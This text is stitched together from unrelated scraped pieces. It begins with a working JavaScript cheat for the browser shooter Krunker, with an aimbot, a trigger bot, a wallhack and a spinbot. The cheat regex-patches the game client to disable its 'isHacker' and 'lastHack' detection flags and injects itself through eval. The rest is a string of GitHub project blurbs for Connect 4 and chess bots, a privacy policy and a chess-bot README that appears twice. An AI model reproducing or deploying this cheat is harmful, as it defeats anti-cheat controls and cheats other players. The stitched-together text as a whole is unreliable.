player2.x, player2.y, player2.z); } getDirection(fromZ, fromX, toZ, toX) { return Math.atan2(fromX - toX, fromZ - toZ) } getXDir(fromX, fromY, fromZ, toX, toY, toZ) { var dirY = Math.abs(fromY - toY), dist = this.getDistance3D(fromX, fromY, fromZ, toX, toY, toZ); return Math.asin(dirY / dist) * (fromY > toY ? -1 : 1) } getAngleDist(start, end) { return Math.atan2(Math.sin(end - start), Math.cos(start - end)); } camLookAt(X, Y, Z) { var xdir = this.getXDir(this.control.object.position.x, this.control.object.position.y, this.control.object.position.z, X, Y, Z), ydir = this.getDirection(this.control.object.position.z, this.control.object.position.x, Z, X), camChaseDst = this.server.camChaseDst; this.control.target = { xD: xdir, yD: ydir, x: X + this.server.camChaseDst * Math.sin(ydir) * Math.cos(xdir), y: Y - this.server.camChaseDst * Math.sin(xdir), z: Z + this.server.camChaseDst * Math.cos(ydir) * Math.cos(xdir) } } AutoAim(value) { if (this.self.didShoot) { setTimeout(() => { this.self.aimVal = 1; this.world.players.resetAim(); this.settings.forceScope || this.self.weapon.name === "Sniper Rifle" || this.self.weapon.name === "Semi Auto" ? this.self.weapon.scope = 1 : delete this.self.weapon.scope; this.settings.canShoot = true; }, this.self.weapon.rate ); } const target = this.getTarget(); if (target) { switch (value) { case 1: /*Aim Assist*/ if (this.control.mouseDownR === 1) { this.lookAtHead(target); } break; case 2: /*Aim Bot*/ this.lookAtHead(target); if (this.control.mouseDownR === 0) { this.control.mouseDownR = 1; } break; case 3: /*Trigger Bot*/ if (this.control.mouseDownL === 1) { this.control.mouseDownL = 0; this.control.mouseDownR = 0; this.settings.scopingOut = true; } if (this.self.aimVal !== 1 || !this.settings.canShoot || this.self.recoilForce > 0.01 || this.control.mouseDownR === 1) { if (this.control.mouseDownL === 1) { this.control.mouseDownL = this.control.mouseDownR = 0; } this.control.target = null; } this.lookAtHead(target); if (this.control.mouseDownR === 0) { this.control.mouseDownR = 2; } else if (this.self.aimVal === 0 && this.settings.canShoot) { this.control.mouseDownL ^= 1; } break; } } else { this.wpnReload(this.getFeature('AutoReload').value && this.self.ammos[this.self.weaponIndex] < ((this.self.weapon.ammo / 2) + 1)); this.control.target = null; if (this.control.mouseDownR === 2) { setTimeout(() => { this.control.mouseDownR = 0; this.settings.canShoot = true; this.self.aimVal = 1; }, this.settings.targetCoolDown); } } } AutoBhop(value) { if (value) { this.control.keys[this.control.jumpKey] = this.self.onGround; if (value === 2) { if (this.settings.isSliding) { this.inputs[8] = 1; return; } if (this.self.yVel < -0.04 && this.self.canSlide) { this.settings.isSliding = true; setTimeout(() => { this.settings.isSliding = false; }, this.self.slideTimer); this.inputs[8] = 1; } } } } wpnReload(force = false) { const ammoLeft = this.self.ammos[this.self.weaponIndex]; if (force || ammoLeft === 0) this.world.players.reload(this.self); } resetSettings() { if (confirm("Are you sure you want to reset all your krunkerio.org settings? This will also refresh the page")) { Object.keys(window.localStorage).filter(x=>x.includes("utilities_")).forEach(x => window.localStorage.removeItem(x)); location.reload(); } } getTarget() { const enemies = this.world.players.list .filter(player => {return player.active && (player.inView || this.self.dmgReceived[player.id]) && !player.isYou && (!player.team || player.team !== this.self.team);}) .sort((p1, p2) => this.getDistance(this.self, p1) - this.getDistance(this.self, p2)); return enemies.length ? enemies[0] : null; } lookAtHead(target) { if (this.getFeature("SpinBot").value) this.spinTick(); this.camLookAt(target.x2, target.y2 + target.height - 1.5 - 2.5 * target.crouchVal - this.self.recoilAnimY * 0.3 * this.getDistance(this.self, target) * 0.6, target.z2); } spinTick() { //this.world.players.getSpin(this.self); //this.world.players.saveSpin(this.self, angle); const last = this.inputs[2]; const angle = this.getAngleDist(this.inputs[2], this.self.xDire); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer= this.getStatic(this.spinTimer, this.server.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.server.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; const count = Math.abs(e * (180 / Math.PI)); if (count < 360) { this.inputs[2] = this.self.xDire + Math.PI; } else console.log('count', count); } inputsTick(self, inputs, world) { //Hooked if (this.control && this.exports && self && inputs && world) { this.inputs = inputs; this.world = world; this.self = self; this.server = this.exports.c[7].exports; this.functions = this.exports.c[8].exports; this.wpnClasses = this.exports.c[69].exports; this.onTick(); } } controlTick(control) { //Hooked if (control) { this.control = control; const half = Math.PI / 2; if (control.target) { control.object.rotation.y = control.target.yD; control.pitchObject.rotation.x = control.target.xD; control.pitchObject.rotation.x = Math.max(-half, Math.min(half, control.pitchObject.rotation.x)); control.yDr = control.pitchObject.rotation.x % Math.PI; control.xDr = control.object.rotation.y % Math.PI; } } } } function read(url) { return new Promise(resolve => { fetch(url).then(res => res.text()).then(res => { return resolve(res); }); }); } function patch(source, method, regex, replacer) { const patched = source.replace(regex, replacer); if (source === patched) { alert(`Failed to patch ${method}`); } else console.log("Successfully patched ", method); return patched; } function patchedIndex(html) { html = patch(html, "html_scriptBlock", /(<script src=".*?game.*?")(><\/script>)/, '$1 type="javascript/blocked" $2'); html = patch(html, "html_payPal", /<script src=".*?paypal.*?"><\/script>/, ''); return html; } function patchedScript(script) { script = patch(script, "IsHacker", /&&(\w+)\['isHacker']&&/, `&&!1&&`); script = patch(script, "LastHack", /&&(\w+)\['lastHack']&&/, `&&!1&&`); script = patch(script, 'WallHack', /if\(!tmpObj\['inView']\)continue;/, ``); script = patch(script, 'Socket', /('connect':function\((\w+),(\w+),(\w+)\){if\(!this\['(\w+)']\){)/, `$1 window.utilities.socket=this;`); script = patch(script, "Exports", /(\['__CANCEL__']=!(\w+),(\w+)\['exports']=(\w+);},function\((\w+),(\w+),(\w+)\){)(let)/, `$1window.utilities = new Utilities();window.utilities.exports=$7;$8`); script = patch(script, 'ControlTick', /{if\(this\['target']\){(.+?)}},this\['(\w+)']=/, `{window.utilities.controlTick(this);},this['$2']=`); script = patch(script, 'ControlFix', /&&\((\w+)\[('\w+')]\((\w+)\['x'],(\w+)\['y']\+(\w+)\['height']-(\w+)\['cameraHeight'],(\w+)\['z']\)/, `&&(utilities.camLookAt($3.x,$3.y+$3.height-$6.cameraHeight,$3.z)`); script = patch(script, "HasServer", /(this\['hasServer']=)(\w+)\?(\w+):(\w+)/, `$1 $2 = utilities.socket`); script = patch(script, 'ProcInput', /this\['procInputs']=function\((\w+),(\w+),(\w+)\){/, `this['procInputs']=function($1,$2,$3){window.utilities.inputsTick(this,$1,$2);`); return script; } (async function () { const index = await read(document.location.href); const build = index.match(/(?<=build=)[^"]+/)[0]; const patch = index.match(/"SOUND.play\(.+\)">v(.+)</)[1]; const script = await read(`/js/game.${build}.js`); console.log('Loading Krunker Hero ...'); window.stop(); document.open(); document.write(patchedIndex(index)); document.close(); try { eval(patchedScript(script)); } catch (err) { alert("Failed Injecting Script.'OK' to ReLoad."); location.reload(); } console.log('Successfully loaded Krunker Hero!'); })();
EFHIII
A Discord bot for playing various games within the text environment including games like connect 4.
DanielSnd
A Godot 4.4+ Custom Module for making online multiplayer games using a node.js socket.io server to connect players together in rooms and relay messages between them.
playmestudios
Privacy Policy (Apps and Services) 1. General a) Consent By using the Services, you agree with the collection, processing and use of information described in the Policy. If you do not agree to the terms of the Policy, please do not use our Services. b) Scope of application This Privacy Policy (the “Policy”) describes the collection, processing and use of information, including personal information, that you (“User” or “you”) provide to Game Link Studio („we“ or „us“) in connection with or to provide our mobile applications and services (together “our Services”). The collection, processing and use of information in connection with our website is described in our website privacy policy in Part I above. The Policy also does not apply to your participation in sweepstakes or contests unless provided through our Services. We are not responsible for the actions of third party people or companies, the use of information you provide to them, or any products or services they may offer. c) Children We do not knowingly collect personal information from children under 13 years of age. If we become aware that we have inadvertently collected personal information from a child under 13 years of age, we well promptly delete such information. We do not allow our partners to collect personally identifiably information on children under 13 years of age. However, we and our partners collect information that is not personally identifiable, such as IP-based geolocation to ensure that our Services comply with applicable laws. e) Updates of the Policy We may update the Policy from time to time to reflect changes to our information practices. We encourage you to periodically review our website for the latest information on our privacy practices. 2. Purpose of the Collection, Processing and Use of Information We use information collected through our Services for the purposes described in the Policy or disclosed to you in connection with our Service. For example, we may use your information for the following purposes: a) Registration, i.e. to create game accounts and allow users use our Services or participate in sweepstakes and contests b) Providing our Services, i.e. to - identify and suggest connections with other users of our Services and enable you to communicate with other users; - operate and improve our Services; - respond to your comments and questions and provide customer service; - provide and deliver products and services you request. Whenever you use our Services, we collect data about all of your interactions with the application and with the other players inside the game via server log files. This information may be associated with your player ID, IP address or device ID for the purpose of providing you our Services and improving them. c) Marketing, i.e. to - send you related information, including confirmations, invoices, technical notices, updates, security alerts, and support and administrative messages; - communicate with you about promotions, rewards, upcoming events, and other news about products and services offered by Us and our selected partners; d) Developing our Services, i.e. to - understand you and your preferences to enhance your experience using our Services; - link or combine it with other information we get from third parties, to help understand your preferences and provide you with better services. 5. Sign-in Services You can log in to our Services using sign-in services such as Facebook Connect, Google+, Google Play Game Services, or Apple Game Center. These services will authenticate your identity and provide you the option to share certain personal information with Us such as your name and email address to pre-populate our sign up form. We may collect and record information through the Sign-in Service in accordance with the policies and terms of the respective Sign-in Service. The information we collect when you connect your user account to an Sign-in Service may include: (1) your name, (2) your Sign-in Service user identification number and/or user name, (3) locale, city, state and country, (4) sex, (5) birth date, (6) email address, (7) profile picture or its URL, and (8) the Sign-in Service user identification numbers for your friends that are also connected to our Services. We may offer you the opportunity to invite your contacts from a Sign-in Service so that those contacts can be located in our Services games and/or you can invite them to join you in our Services. The contact information will not be used for other purposes. You or the addressee may request us to remove this information. 6. Push Notifications We may occasionally send you push notifications through our mobile applications to send you game updates, high scores and other service related notifications that may be of importance to you. You may at any time opt-out from receiving these types of communications by turning them off at the device level through your settings. 7. Sweepstakes and Contests We may provide you the opportunity to participate in a sweepstakes or contest through our Services. If you participate, we will request certain personal information from you. Participation in these sweepstakes and contests are voluntary and you therefore have a choice whether or not to disclose this information. The requested information typically includes contact information (such as name and shipping address), and demographic information (such as zip code). We use this information to notify winners and award prizes, to monitor traffic or personalize our Services. We may use a third party service provider to conduct these sweepstakes or contests; that company is prohibited from using your users’ personal information for any other purpose. 8. Analytics a) Cookies A cookie is a small text file that we transfer to your device, to identify a user's device and to remember things about your visit, such as your preferences or a user name and password. Information contained in a cookie may be linked to your personal information, such as your user ID, for purposes such as improving the quality of our Service, tailoring recommendations to your interests, and making our Services easier to use. You can disable cookies at any time, although you may not be able to access or use features of the Service. We may feature advertisements served by third parties that deliver cookies to your device so the content you access and advertisements you see can be tracked. Since the third party advertising companies associate your computer/device with a number, they will be able to recognize your device each time they send you an advertisement. These advertisers may use information about your visits to our Service and third party sites and applications in order to measure advertisement performance and to provide advertisements about goods and services of interest to you. b) Mobile Analytics Software We use mobile analytics software to allow us to better understand the functionality of our Services on your device. This software may record information such as how often you use the application, the events that occur within the application, aggregated usage, performance data, and where the application was downloaded from. We do not link the information we store within the analytics software to any personal information you submit within the mobile application.
ernestoyaquello
Basic AI engine written in C# that implements the alpha–beta pruning algorithm to create two-player, zero-sum games like Tic Tac Toe, Connect 4, or Chess.
armankarimpour
Welcome to Hyper Bot ! Create your own permanent Hyper Bot ( runs on Heroku, no Lc0 ) If you want to create your own permanent bot, do the following: Sign up to GitHub https://github.com/join , if you have not already. With your GitHub account visit https://github.com/hyperchessbot/hyperbot , then click on Fork. Create a BOT account if you do not already have one. To create one use an account that has not played any games yet, log into this account, then visit https://hypereasy.herokuapp.com/auth/lichess/bot , approve oauth and then on the page you are taken to click on 'Request upgrade to bot'. Create an API access token with your BOT account at https://lichess.org/account/oauth/token ( should have scopes Read incoming challenges / Create, accept, decline challenges / Play games with the bot API ) Sign up to Heroku https://signup.heroku.com/ , if you have not already. At Heroku create a new app using New / Create new app. Choose Europe for region. In the app's dashboard go to the Deploy tab. Use the GitHub button to connect the app to your forked repo. Press Search to find your repositories, then select hyperbot. You need to deploy the master branch. Enable Automatic Deploys and press Deploy Branch, for the initial deploy. Wait for the build to finish. In Heroku Settings / Reveal Config Vars create a new variable TOKEN and set its value to your newly created access token, then create a new variable BOT_NAME and set its value to your bot's lichess username. For more detailed instructions and screenshots on setting up your Heroku app refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Creating-and-configuring-your-app-on-Heroku#creating-and-configuring-your-app-on-heroku . Congratulations, you have an up and running lichess bot. If you want to use 3-4-5 piece tablebases on Heroku, refer to this guide https://github.com/hyperchessbot/hyperbot/wiki/Update-Heroku-app-to-latest-version-using-Gitpod#enabling-syzygy-tablebases . Upgrade to bot and play games in your browser To upgrade an account, that has played no games yet, to bot, and to make this bot accept challenges and play games in your browser, visit https://hypereasy.herokuapp.com . For detailed instructions see https://lichess.org/forum/off-topic-discussion/hyper-easy-all-variants-lichess-bot-running-in-your-browser#1 . Update Heroku app to latest version using Gitpod Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Update-Heroku-app-to-latest-version-using-Gitpod#update-heroku-app-to-latest-version-using-gitpod . Creating a MongoDb account Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Creating-a-MongoDb-account#creating-a-mongodb-account . Build external multi game PGN file with MongoDb book builder ( version 2 ) Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Build-book-from-external-multi-game-PGN-file#build-book-from-external-multi-game-pgn-file . Install bot on Windows ( runs Lc0 ) Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Install-bot-on-Windows-(-runs-Lc0-)#install-bot-on-windows--runs-lc0- . Install bot on goorm.io ( runs Lc0 ) Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Install-bot-on-goorm.io-(-runs-Lc0-)#install-bot-on-goormio--runs-lc0- . Download a net for Lc0 Dowload a net from https://lczero.org/dev/wiki/best-nets-for-lc0 . Rename the weights file 'weights.pb.gz', then copy it to the 'lc0goorm' folder. Overwrite the old file. Update to latest version on Windows / goorm Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Update-to-latest-version-on-Windows-or-goorm#update-to-latest-version-on-windows--goorm . Explanation of files Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Explanation-of-files#git . Contribute to code Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Contribute-to-code#contribute-to-code . Discussion / Feedback Discuss Hyper Bot on Discord https://discord.gg/8m3Muay . Post issues on GitHub https://github.com/hyperchessbot/hyperbot/issues . Getting assistance in lichess PM You can seek assistance in lichess PM using your BOT account. Open an issue at https://github.com/hyperchessbot/hyperbot/issues with the GitHub account on which your forked Hyper Bot, with the title 'Identifying lichess account'. Give a link to your lichess account in the issue. After identification you can PM https://lichess.org/@/hyperchessbotauthor . Seeking assistance in lichess PM without verifying your lichess account with your GitHub account may get you blocked. The block may be lifted once you identify your lichess account with your GitHub account. Config vars KEEP_ALIVE_URL : set this to the full link of your bot home page ( https://[yourappname].herokuapp.com , where change [yourappname] to your Heroku app name ) if you want your bot to be kept alive from early morning till late night Heroku server time, keeping alive a free Heroku bot for 24/7 is not possible, because a free Heroku account has a monthly quota of 550 hours ALWAYS_ON : requires paid Heroku account, set it to 'true' to keep the bot alive 24/7, you have to set KEEP_ALIVE_URL to your bot's full home page link for ALWAYS_ON to work ( see also the explanation of KEEP_ALIVE_URL config var ) ALLOW_CORRESPONDENCE : set it to 'true' to allow playing correspondence and infinite time control games CORRESPONDENCE_THINKING_TIME : think in correspondence as if the bot had that many seconds left on its clock ( default : 120 ), the actual thinking time will be decided by the engine MONGODB_URI : connect URI of your MongoDb admin user ( only the host, no slash after the host, do database specified, no query string ), if defined, your latest games or games downloaded from an url ( version 2 only ) will be added to the database on every startup, by default this config var is not defined USE_MONGO_BOOK : set it to 'true' to use the MongoDb book specified by MONGODB_URI DISABLE_ENGINE_FOR_MONGO : set it to 'true' to disable using engine completely when a MongoDb book move is available ( by default the bot may ignore a MongoDb book move at its discretion and use the engine instead for better performance and to allow for more varied play ) MONGO_VERSION : MongoDb book builder version, possible values are 1 ( default, builds a book from bot games as downloaded from lichess as JSON ), 2 ( builds a book from bot games as downloaded from lichess as PGN, or from an arbitrary url specified in PGN_URL ) PGN_URL : url for downloading a multi game PGN file for MongoDb book builder ( version 2 only ) MAX_GAMES : maximum number of games to be built by MongoDb book builder GENERAL_TIMEOUT : timeout for event streams in seconds ( default : 15 ) ENGINE_THREADS : engine Threads uci option ( default : 1 ) ENGINE_HASH : engine Hash uci option in megabytes ( default : 16 ) ENGINE_CONTEMPT : engine Contempt uci option in centipawns ( default : 24 ) ENGINE_MOVE_OVERHEAD : engine Move Overhead uci option in milliseconds ( default : 500 ) ALLOW_PONDER : set it to 'true' to make the bot think on opponent time BOOK_DEPTH : up to how many plies into the game should the bot use the book, choosing too high book depth is running the risk of playing unsound moves ( default : 20 ) BOOK_SPREAD : select the move from that many of the top book moves, choosing to high book spread is running the risk of playing unsound moves ( default : 4 ) BOOK_RATINGS : comma separated list of allowed book rating brackets, possible ratings are 1600, 1800, 2000, 2200, 2500 ( default : '2200,2500') BOOK_SPEEDS : comma separated list of allowed book speeds, possible speeds are bullet, blitz, rapid, classical ( default : 'blitz,rapid' ) LOG_API : set it to 'true' to allow more verbose logging, logs are available in the Inspection / Console of the browser USE_SCALACHESS : set it to 'true' to use scalachess library and multi variant engine ACCEPT_VARIANTS : space separated list of variant keys to accept ( default : 'standard' ), for non standard variants USE_SCALACHESS has to be set to 'true' , example : 'standard crazyhouse chess960 kingOfTheHill threeCheck antichess atomic horde racingKings fromPosition' ACCEPT_SPEEDS : space separated list of speeds to accept ( default : 'bullet blitz rapid classical' ), to allow correspondence set ALLOW_CORRESPONDENCE to 'true' DISABLE_RATED : set it to 'true' to reject rated challenges DISABLE_CASUAL : set it to 'true' to reject casual challenges DISABLE_BOT : set it to 'true' to reject bot challenges DISABLE_HUMAN : set it to 'true' to reject human challenges GAME_START_DELAY : delay between accepting challenge and starting to play game in seconds ( default : 2 ) CHALLENGE_INTERVAL : delay between auto challenge attempts in minutes ( default : 30 ) CHALLENGE_TIMEOUT : start attempting auto challenges after being idle for that many minutes ( default : 60 ) USE_NNUE : space separated list of variant keys for which to use NNUE ( default: 'standard chess960 fromPosition' ) USE_LC0 : set it to 'true' to use Lc0 engine, only works with Windows and goorm installation, on Heroku and Gitpod you should not use it or set it to false USE_POLYGLOT : set it to 'true' to use polyglot opening book WELCOME_MESSAGE : game chat welcome message ( delay from game start : 2 seconds , default : 'coded by @hyperchessbotauthor' ) GOOD_LUCK_MESSAGE : game chat good luck message ( delay from game start : 4 seconds , default : 'Good luck !' ) GOOD_GAME_MESSAGE : game chat good game message ( delay from game end : 2 seconds , default : 'Good game !' ) DISABLE_SYZYGY : set it to 'true' to disable using syzygy tablebases, note that syzygy tablebases are always disabled when USE_LC0 is set to 'true', syzygy tablebases are only installed for deployment on Heroku APP_NAME : Heroku app name ( necessary for interactive viewing of MongoDb book ) ABORT_AFTER : abort game after that many seconds if the opponent fails to make their opening move ( default : 120 ) DECLINE_HARD : set it to 'true' to explicitly decline unwanted challenges ( by default they are only ignored and can be accepted manually )
MinhasKamal
A Collection of Wonderful Console Games (the-game-of-life-three-3-stones-tic-tac-toe-tictactoe-criss-cross-snake-rush-peeble-dropping-connect-four-4)
armankarimpour
Welcome to Hyper Bot ! Create your own permanent Hyper Bot ( runs on Heroku, no Lc0 ) If you want to create your own permanent bot, do the following: Sign up to GitHub https://github.com/join , if you have not already. With your GitHub account visit https://github.com/hyperchessbot/hyperbot , then click on Fork. Create a BOT account if you do not already have one. To create one use an account that has not played any games yet, log into this account, then visit https://hypereasy.herokuapp.com/auth/lichess/bot , approve oauth and then on the page you are taken to click on 'Request upgrade to bot'. Create an API access token with your BOT account at https://lichess.org/account/oauth/token ( should have scopes Read incoming challenges / Create, accept, decline challenges / Play games with the bot API ) Sign up to Heroku https://signup.heroku.com/ , if you have not already. At Heroku create a new app using New / Create new app. Choose Europe for region. In the app's dashboard go to the Deploy tab. Use the GitHub button to connect the app to your forked repo. Press Search to find your repositories, then select hyperbot. You need to deploy the master branch. Enable Automatic Deploys and press Deploy Branch, for the initial deploy. Wait for the build to finish. In Heroku Settings / Reveal Config Vars create a new variable TOKEN and set its value to your newly created access token, then create a new variable BOT_NAME and set its value to your bot's lichess username. For more detailed instructions and screenshots on setting up your Heroku app refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Creating-and-configuring-your-app-on-Heroku#creating-and-configuring-your-app-on-heroku . Congratulations, you have an up and running lichess bot. If you want to use 3-4-5 piece tablebases on Heroku, refer to this guide https://github.com/hyperchessbot/hyperbot/wiki/Update-Heroku-app-to-latest-version-using-Gitpod#enabling-syzygy-tablebases . Upgrade to bot and play games in your browser To upgrade an account, that has played no games yet, to bot, and to make this bot accept challenges and play games in your browser, visit https://hypereasy.herokuapp.com . For detailed instructions see https://lichess.org/forum/off-topic-discussion/hyper-easy-all-variants-lichess-bot-running-in-your-browser#1 . Update Heroku app to latest version using Gitpod Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Update-Heroku-app-to-latest-version-using-Gitpod#update-heroku-app-to-latest-version-using-gitpod . Creating a MongoDb account Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Creating-a-MongoDb-account#creating-a-mongodb-account . Build external multi game PGN file with MongoDb book builder ( version 2 ) Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Build-book-from-external-multi-game-PGN-file#build-book-from-external-multi-game-pgn-file . Install bot on Windows ( runs Lc0 ) Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Install-bot-on-Windows-(-runs-Lc0-)#install-bot-on-windows--runs-lc0- . Install bot on goorm.io ( runs Lc0 ) Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Install-bot-on-goorm.io-(-runs-Lc0-)#install-bot-on-goormio--runs-lc0- . Download a net for Lc0 Dowload a net from https://lczero.org/dev/wiki/best-nets-for-lc0 . Rename the weights file 'weights.pb.gz', then copy it to the 'lc0goorm' folder. Overwrite the old file. Update to latest version on Windows / goorm Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Update-to-latest-version-on-Windows-or-goorm#update-to-latest-version-on-windows--goorm . Explanation of files Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Explanation-of-files#git . Contribute to code Refer to this Wiki https://github.com/hyperchessbot/hyperbot/wiki/Contribute-to-code#contribute-to-code . Discussion / Feedback Discuss Hyper Bot on Discord https://discord.gg/8m3Muay . Post issues on GitHub https://github.com/hyperchessbot/hyperbot/issues . Getting assistance in lichess PM You can seek assistance in lichess PM using your BOT account. Open an issue at https://github.com/hyperchessbot/hyperbot/issues with the GitHub account on which your forked Hyper Bot, with the title 'Identifying lichess account'. Give a link to your lichess account in the issue. After identification you can PM https://lichess.org/@/hyperchessbotauthor . Seeking assistance in lichess PM without verifying your lichess account with your GitHub account may get you blocked. The block may be lifted once you identify your lichess account with your GitHub account. Config vars KEEP_ALIVE_URL : set this to the full link of your bot home page ( https://[yourappname].herokuapp.com , where change [yourappname] to your Heroku app name ) if you want your bot to be kept alive from early morning till late night Heroku server time, keeping alive a free Heroku bot for 24/7 is not possible, because a free Heroku account has a monthly quota of 550 hours ALWAYS_ON : requires paid Heroku account, set it to 'true' to keep the bot alive 24/7, you have to set KEEP_ALIVE_URL to your bot's full home page link for ALWAYS_ON to work ( see also the explanation of KEEP_ALIVE_URL config var ) ALLOW_CORRESPONDENCE : set it to 'true' to allow playing correspondence and infinite time control games CORRESPONDENCE_THINKING_TIME : think in correspondence as if the bot had that many seconds left on its clock ( default : 120 ), the actual thinking time will be decided by the engine MONGODB_URI : connect URI of your MongoDb admin user ( only the host, no slash after the host, do database specified, no query string ), if defined, your latest games or games downloaded from an url ( version 2 only ) will be added to the database on every startup, by default this config var is not defined USE_MONGO_BOOK : set it to 'true' to use the MongoDb book specified by MONGODB_URI DISABLE_ENGINE_FOR_MONGO : set it to 'true' to disable using engine completely when a MongoDb book move is available ( by default the bot may ignore a MongoDb book move at its discretion and use the engine instead for better performance and to allow for more varied play ) MONGO_VERSION : MongoDb book builder version, possible values are 1 ( default, builds a book from bot games as downloaded from lichess as JSON ), 2 ( builds a book from bot games as downloaded from lichess as PGN, or from an arbitrary url specified in PGN_URL ) PGN_URL : url for downloading a multi game PGN file for MongoDb book builder ( version 2 only ) MAX_GAMES : maximum number of games to be built by MongoDb book builder GENERAL_TIMEOUT : timeout for event streams in seconds ( default : 15 ) ENGINE_THREADS : engine Threads uci option ( default : 1 ) ENGINE_HASH : engine Hash uci option in megabytes ( default : 16 ) ENGINE_CONTEMPT : engine Contempt uci option in centipawns ( default : 24 ) ENGINE_MOVE_OVERHEAD : engine Move Overhead uci option in milliseconds ( default : 500 ) ALLOW_PONDER : set it to 'true' to make the bot think on opponent time BOOK_DEPTH : up to how many plies into the game should the bot use the book, choosing too high book depth is running the risk of playing unsound moves ( default : 20 ) BOOK_SPREAD : select the move from that many of the top book moves, choosing to high book spread is running the risk of playing unsound moves ( default : 4 ) BOOK_RATINGS : comma separated list of allowed book rating brackets, possible ratings are 1600, 1800, 2000, 2200, 2500 ( default : '2200,2500') BOOK_SPEEDS : comma separated list of allowed book speeds, possible speeds are bullet, blitz, rapid, classical ( default : 'blitz,rapid' ) LOG_API : set it to 'true' to allow more verbose logging, logs are available in the Inspection / Console of the browser USE_SCALACHESS : set it to 'true' to use scalachess library and multi variant engine ACCEPT_VARIANTS : space separated list of variant keys to accept ( default : 'standard' ), for non standard variants USE_SCALACHESS has to be set to 'true' , example : 'standard crazyhouse chess960 kingOfTheHill threeCheck antichess atomic horde racingKings fromPosition' ACCEPT_SPEEDS : space separated list of speeds to accept ( default : 'bullet blitz rapid classical' ), to allow correspondence set ALLOW_CORRESPONDENCE to 'true' DISABLE_RATED : set it to 'true' to reject rated challenges DISABLE_CASUAL : set it to 'true' to reject casual challenges DISABLE_BOT : set it to 'true' to reject bot challenges DISABLE_HUMAN : set it to 'true' to reject human challenges GAME_START_DELAY : delay between accepting challenge and starting to play game in seconds ( default : 2 ) CHALLENGE_INTERVAL : delay between auto challenge attempts in minutes ( default : 30 ) CHALLENGE_TIMEOUT : start attempting auto challenges after being idle for that many minutes ( default : 60 ) USE_NNUE : space separated list of variant keys for which to use NNUE ( default: 'standard chess960 fromPosition' ) USE_LC0 : set it to 'true' to use Lc0 engine, only works with Windows and goorm installation, on Heroku and Gitpod you should not use it or set it to false USE_POLYGLOT : set it to 'true' to use polyglot opening book WELCOME_MESSAGE : game chat welcome message ( delay from game start : 2 seconds , default : 'coded by @hyperchessbotauthor' ) GOOD_LUCK_MESSAGE : game chat good luck message ( delay from game start : 4 seconds , default : 'Good luck !' ) GOOD_GAME_MESSAGE : game chat good game message ( delay from game end : 2 seconds , default : 'Good game !' ) DISABLE_SYZYGY : set it to 'true' to disable using syzygy tablebases, note that syzygy tablebases are always disabled when USE_LC0 is set to 'true', syzygy tablebases are only installed for deployment on Heroku APP_NAME : Heroku app name ( necessary for interactive viewing of MongoDb book ) ABORT_AFTER : abort game after that many seconds if the opponent fails to make their opening move ( default : 120 ) DECLINE_HARD : set it to 'true' to explicitly decline unwanted challenges ( by default they are only ignored and can be accepted manually )
Hue-Jhan
GameBoy in C. Games: Tic Tac Toe, Connect 4, i will add more games such as Battleship, sudoku, snake (maybe)
Karna14314
A collection of classic offline board games (Tic-Tac-Toe, Connect 4, SOS, Dots & Boxes) built for Android using Kotlin and a shared MVI engine.
healthGamez
The Web Bluetooth Cycling and Cadence sensor plugin is is aimed at enabling and simplifying development of exercise, fitness and wellness games based on stationary bikes or bikes on stationary trainers. The plugin may also be used for development of web/hybrid apps or games for non stationary biking. The plugin allows connecting a WebGL build to a BLE (Bluetooth Low Energy) Cycling and Cadence sensor sensor supporting the GATT (Generic Attribute Profile) profile CSCP (Cycling Speed and Cadence Profile). The plugin uses the Web-Bluetooth API and the games/apps built with the plugin will only work on web-browsers that implement this API. Browser compatibility can bee found in this table: https://developer.mozilla.org/en-US/docs/Web/API/Web_Bluetooth_API#browser_compatibility. (Currently Chrome, Microsoft Edge, Opera1 and Samsung Internet support Web-Bluetooth, while Firfox, Android WebView, Safari and other iPhone webkit based browsers do not). The computer or device running the game/app must have Bluetooth 4 support. The plugin has been developed and tested with Magene S3+ Speed/Cadence Dual Mode Sensor which may be oredered from the HelthGamez store. Examples of games using this plugin are available at www.healthgamez.fun/gamez
Elliot-Adam
Games in python (tictactoe + connect 4)
leeyanleryan
Playable board games with AI including Chess, Connect 4, etc.
dqian96
A bot that plays competitive Connect 4 on "The AI Games".
aautem
An online Connect 4/Tic-Tac-Toe hybrid with no tie games.